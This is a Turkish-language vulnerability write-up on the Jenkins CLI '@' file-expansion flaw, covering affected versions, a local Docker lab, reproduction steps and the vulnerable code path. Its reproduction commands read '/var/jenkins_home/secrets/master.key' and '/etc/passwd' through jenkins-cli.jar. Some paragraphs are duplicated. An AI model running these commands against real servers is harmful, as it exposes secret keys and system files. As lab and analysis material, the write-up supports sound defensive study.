Jenkins, betikler veya komut kabuğu aracılığıyla erişilebilen entegre bir komut satırı arayüzü (CLI) içerir. CLI komutunun yürütülmesi sırasında Jenkins, komut argümanlarını ve seçeneklerini Jenkins denetleyicisinde yorumlamak için args4j kütüphanesini kullanır. Jenkins'in etkilenmiş sürümlerinde varsayılan olarak etkin olan bir işlevsellik olan, CLI komut ayrıştırıcısının genişletilebilir özelliği, düşmanlar bu ayrıştırıcı özelliğini, @ parametresini takip eden karakterleri bir dosya yolunda kullanarak dosyanın içeriğiyle değiştirmek için kullanabilirler. Bu zafiyet, Jenkins denetleyici dosya sistemi içindeki herhangi bir dosyanın izinsiz okunmasına veya çeşitli senaryolarda uzaktan kod yürütme için kullanılmasına yol açabilir.
Komut Satırı Arayüzü Aracılığıyla Dosya Okuma: Jenkins'in içsel komut satırı arayüzü (CLI), bir dosya yolunun @ karakterine eklenmesiyle komut parametreleriyle dosya içeriğinin değiştirilmesine olanak tanıyan bir özellik içerir. Sonuç olarak, saldırganlar Jenkins denetleyicisinin dosya sistemindeki herhangi bir dosyaya potansiyel olarak erişebilirler.
İzinleri Atlama: Overall/Read izinlerine sahip saldırganlar, dosyaların tam içeriğini okuyabilirken, bu tür erişime sahip olmayanlar bile dosya içeriğinin bir kısmını görebilirler.
Etkilenen Sürümler:
Jenkins sürümü 2.441 ve öncesi
Jenkins Uzun Süreli Destek (LTS) sürümü 2.426.2 ve öncesi.
Ortam Kurulumu
Ortam kurulumu için Docker kullanın: https://hub.docker.com/r/jenkins/jenkins/tags
Komut Satırı Arayüzü Aracılığıyla Dosya Okuma: Jenkins'in içsel komut satırı arayüzü (CLI), bir dosya yolunun @ karakterine eklenmesiyle komut parametreleriyle dosya içeriğinin değiştirilmesine olanak tanıyan bir özellik içerir. Sonuç olarak, saldırganlar Jenkins denetleyicisinin dosya sistemindeki herhangi bir dosyaya potansiyel olarak erişebilirler.
İzinleri Atlama: Overall/Read izinlerine sahip saldırganlar, dosyaların tam içeriğini okuyabilirken, bu tür erişime sahip olmayanlar bile dosya içeriğinin bir kısmını görebilirler.
Etkilenen Sürümler:
Jenkins sürümü 2.441 ve öncesi
Jenkins Uzun Süreli Destek (LTS) sürümü 2.426.2 ve öncesi.
Ortam Kurulumu
Ortam kurulumu için Docker kullanın: https://hub.docker.com/r/jenkins/jenkins/tags
Kod:
docker pull jenkins/jenkins:2.440-jdk17
docker run --name jenkins -p 8090:8080 jenkins/jenkins:2.440-jdk17
Zafiyetin Çoğaltılması
Jenkins-cli.jar'ı indirmek için http://127.0.0.1:8090/cli/?remoting=false yoluna erişin.
Kod:
java -jar jenkins-cli.jar -s http://127.0.0.1:8090/ who-am-i "@/var/jenkins_home/secrets/master.key"
Kod:
java -jar jenkins-cli.jar -s http://127.0.0.1:8090/ help "@/etc/passwd"
java -jar jenkins-cli.jar -s http://127.0.0.1:8090/ who-am-i "@/etc/passwd"
Zafiyetin Analiz Edilmesi
Sürümler arasındaki farkları inceleyin:
github.com
Önemli değişiklikler src/main/java/hudson/cli/CLICommand.java dosyasında bulunmaktadır.
Sürümler arasındaki farkları inceleyin:
Comparing jenkins-2.441...jenkins-2.442 · jenkinsci/jenkins
Jenkins automation server. Contribute to jenkinsci/jenkins development by creating an account on GitHub.
Önemli değişiklikler src/main/java/hudson/cli/CLICommand.java dosyasında bulunmaktadır.
Kod:
hudson.cli.CLICommand#main
Kod:
org.kohsuke.args4j.CmdLineParser#parseArgument(java.lang.String...)
Kod:
org.kohsuke.args4j.CmdLineParser#expandAtFiles
Eğer bir argüman @ ile başlıyorsa, @ sonrasındaki içerik mutlak bir yol olarak kabul edilir, bir Dosya nesnesi oluşturulur ve dosyanın içeriği okunur.


